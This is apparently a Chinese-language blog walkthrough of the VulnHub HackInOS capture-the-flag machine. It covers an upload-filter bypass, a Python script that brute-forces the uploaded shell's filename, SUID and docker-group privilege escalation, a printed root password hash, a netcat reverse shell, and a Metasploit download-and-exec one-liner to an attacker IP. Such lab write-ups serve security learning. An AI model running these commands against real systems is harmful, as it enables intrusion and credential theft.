靶机HackInOs实战

第一次写靶机,选了vulnhub上的HackInOs靶机,不断地踩坑踩坑,总归来说还是值得折腾一下的。

0x01下载安装

先进vulnhub官网,看到第一个靶机HackInOS: 1,描述说这是CTF初级靶机,听起来难度很低的样子,那就先来这个吧。

下载的文件是ova格式,但是用vmware导入会出错,没得办法,安装了virtualbox,然后直接导入即可。

0x02 实战环节

首先安装完,我们需要找到靶机ip地址啊,于是设置virtualbox的网络模式为桥接模式,查看了一下,本地物理机ip是192.168.2.134,那么靶机肯定是192.168.2.x。于是用nmap扫一波。

第一个坑就这么来了,怎么都找不到靶机地址,nmap扫到的主机都是手机和室友的电脑?排查了很久无果,最终还是直接用virtualbox查看ip地址发现地址是192.168.2.204。

这tm啥情况,我又试了如下操作:

见鬼了,sP选项不就是ping扫描吗,找了半天原因没找到,最后还是用另一台ubuntu虚拟机上的nmap扫描了一下。

这下确定了见鬼了,说不定物理机上的nmap坏了,反正没找到原因,但是靶机还是得继续搞下去,这里nmap扫描出开放了8000和22端口,其中还扫描出两个敏感文件和目录。

打开网站是一个wordpress站点,不过样式没有正确渲染。

没有发现什么明显的东西,接下来我们直接进upload.php看一下。

一个文件上传页面,先拿它开刀,传个php shell上去瞅瞅。但是啥子情况都没有,看下抓的返回包:

返回包里有提示,根据这个提示,发现upload.php的源码如下:

<!DOCTYPE html>
<html>

<body>

<div align="center">
<form action="" method="post" enctype="multipart/form-data">
    <br>
    <b>Select image : </b> 
    <input type="file" name="file" id="file" style="border: solid;">
    <input type="submit" value="Submit" name="submit">
</form>
</div>
<?php
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $rand_number = rand(1,100);
    $target_dir = "uploads/";
    $target_file = $target_dir . md5(basename($_FILES["file"]["name"].$rand_number));
    $file_name = $target_dir . basename($_FILES["file"]["name"]);
    $uploadOk = 1;
    $imageFileType = strtolower(pathinfo($file_name,PATHINFO_EXTENSION));
    $type = $_FILES["file"]["type"];
    $check = getimagesize($_FILES["file"]["tmp_name"]);
    if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){
        $uploadOk = 1;
    }else{
        $uploadOk = 0;
        echo ":)";
    } 
  if($uploadOk == 1){
      move_uploaded_file($_FILES["file"]["tmp_name"], $target_file.".".$imageFileType);
      echo "File uploaded /uploads/?";
  }
}
?>

</body>
</html>

程序首先获取了一些上传文件的信息,在最后用getimagesize函数来判断文件的类型,如果是png或者gif就允许传进去,如果不是就直接pass。

绕过getimagesize的限制也比较简单,只要头部伪装成正常PNG或者GIF即可,可以找一个png图片插入php代码,这里我直接在内容的头部加上GIF文件的标识GIF98就好了。

上传成功啦,但是传到哪里去了来?从源码可以看到文件名为md5(basename($_FILES["file"]["name"].$rand_number))加上后缀,也就是.phprand_number的可能性也就一百零一个,写个脚本爆破一下好了:

# coding:utf-8
import hashlib
import requests

base_url = "http://192.168.2.204:8000/uploads/"
target = []
for i in range(101):
    shell = 'shell.php' + str(i) 
    shell_md5 = hashlib.md5(shell.encode('utf-8')).hexdigest()
    target.append(base_url + shell_md5 + '.php')

for t in target:
    print("testing: " + t) 
    r = requests.get(t)
    if r.status_code == 200:
        print("find it!")
        print(t)
        break
print("Down!!")

先跑起来:

成功getshell,权限为www-data,但是这里还有个小坑,就是这个shell一会就不见了,应该是程序会定时删除uploads文件夹里的文件,所以拿到shell之后,还得再传一个shell到根目录下面去。

大概翻了一下,这里的目录下面没有flag,接下来应该是提权环节了。

这里使用SUID提权。可参考文章https://www.anquanke.com/post/id/86979

说明:SUID属性一般用在可执行文件上,当用户执行该文件时,会临时拥有该执行文件的所有者权限。一旦程序拥有SUID权限的话,运行该程序时会以最高权限运行。以上命令是这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null

从上面可以看出tail命令具有suid属性,我们可以用tail命令去读一下/etc/shadow

成功得到root用户的密码hash:

root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::

将结果保存在shadow.txt中,用John the ripper工具破解一下linux密码。得到root密码为john

这个蚁剑交互性不好,我们直接反弹个shell,试了一下,靶机上竟然有netcat,直接反弹成功了。

nc -e /bin/sh 192.168.2.134 4444 //靶机
nc -lvvp 4444 //攻击机
python -c 'import pty; pty.spawn("/bin/bash")' //生成一个伪终端,它可以执行命令su

what happend? Life consists of details..?到这里还不给flag,欺负人了啊。

尝试ssh登录root用户,但是失败了,接下来查看当前目录下面的文件,发现还是有点踪迹的。

这里还有个网段172.18.0.x,接下来我们用msf来探测以下网段主机的开放情况。先用web_delivery模块来获取反向shell。

msf5 > use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > set lhost 192.168.2.118
lhost => 192.168.2.118
msf5 exploit(multi/script/web_delivery) > set lport 4444
lport => 4444
msf5 exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/script/web_delivery) > 
[*] Started reverse TCP handler on 192.168.2.118:4444 
[*] Using URL: http://0.0.0.0:8080/pIGPboQ
[*] Local IP: http://192.168.2.118:8080/pIGPboQ
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.2.118:8080/pIGPboQ');exec(r.read());"

复制web_delivery模块提供的命令并在靶机运行,得到一个shell。

首先添加路由:

接下来探测一下172.18.0.x网段有哪些主机:

找到四台主机,再看下四台主机都开了哪些端口:

可以看到172.18.0.2 端口开放了 3306 mysql服务,应该就是网站的数据库了,我们读一下config文件,cat /var/www/html/wp-config.php读取数据库的用户名和密码,然后尝试登录数据库。

得到用户名为hummingbirdscyber的ssh登录密码,解密之后为123456。

接下来尝试ssh登录服务器。

当运行id命令时,发现这是docker组的成员。我们可以利用dcoker来提权,某些容器具有专用组,允许非特权用户管理其容器,而无需升级其权限。相关内容可参考https://www.freebuf.com/articles/system/170783.html

接下来使用这条命令docker run -it -v /:/root ubuntu /bin/bash将/root路径下的文件映射到docker的根目录下,这时就可以查看flag了

flag在此,还有谁敢阻止?

第二种提权方法

这里除了docker提权这里还有种提权方法,使用环境变量来提权,可参考https://www.freebuf.com/articles/system/173903.html

根据文章中的说法,我们使用Find命令,搜索具有SUID或4000权限的文件。

这里可以看到/home/hummingbirdscyber/Desktop/a.out具有SUID权限。运行下试试:

hummingbirdscyber@vulnvm:~/Desktop$ ./a.out
root
hummingbirdscyber@vulnvm:~/Desktop$ echo $PATH
/home/hummingbirdscyber/bin:/home/hummingbirdscyber/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

运行后输出root并结束,推测应该是调用whoami。接下来使用echo提权,用/bin/bash来劫持whoami命令。

0x03 总结

这个靶机,挺有意思的,主要是学习了提权的几种方法。

  • 利用SUID可执行文件执行ROOT操作。
  • 利用docker提权。
  • 利用环境变量提权。
1 + 2 =
2 评论
    WernerFirefox Browser 66Windows 10
    5月22日 回复

    感谢分享!

    洛洛洛Chrome 69Windows 10
    5月16日 回复

    第一条评论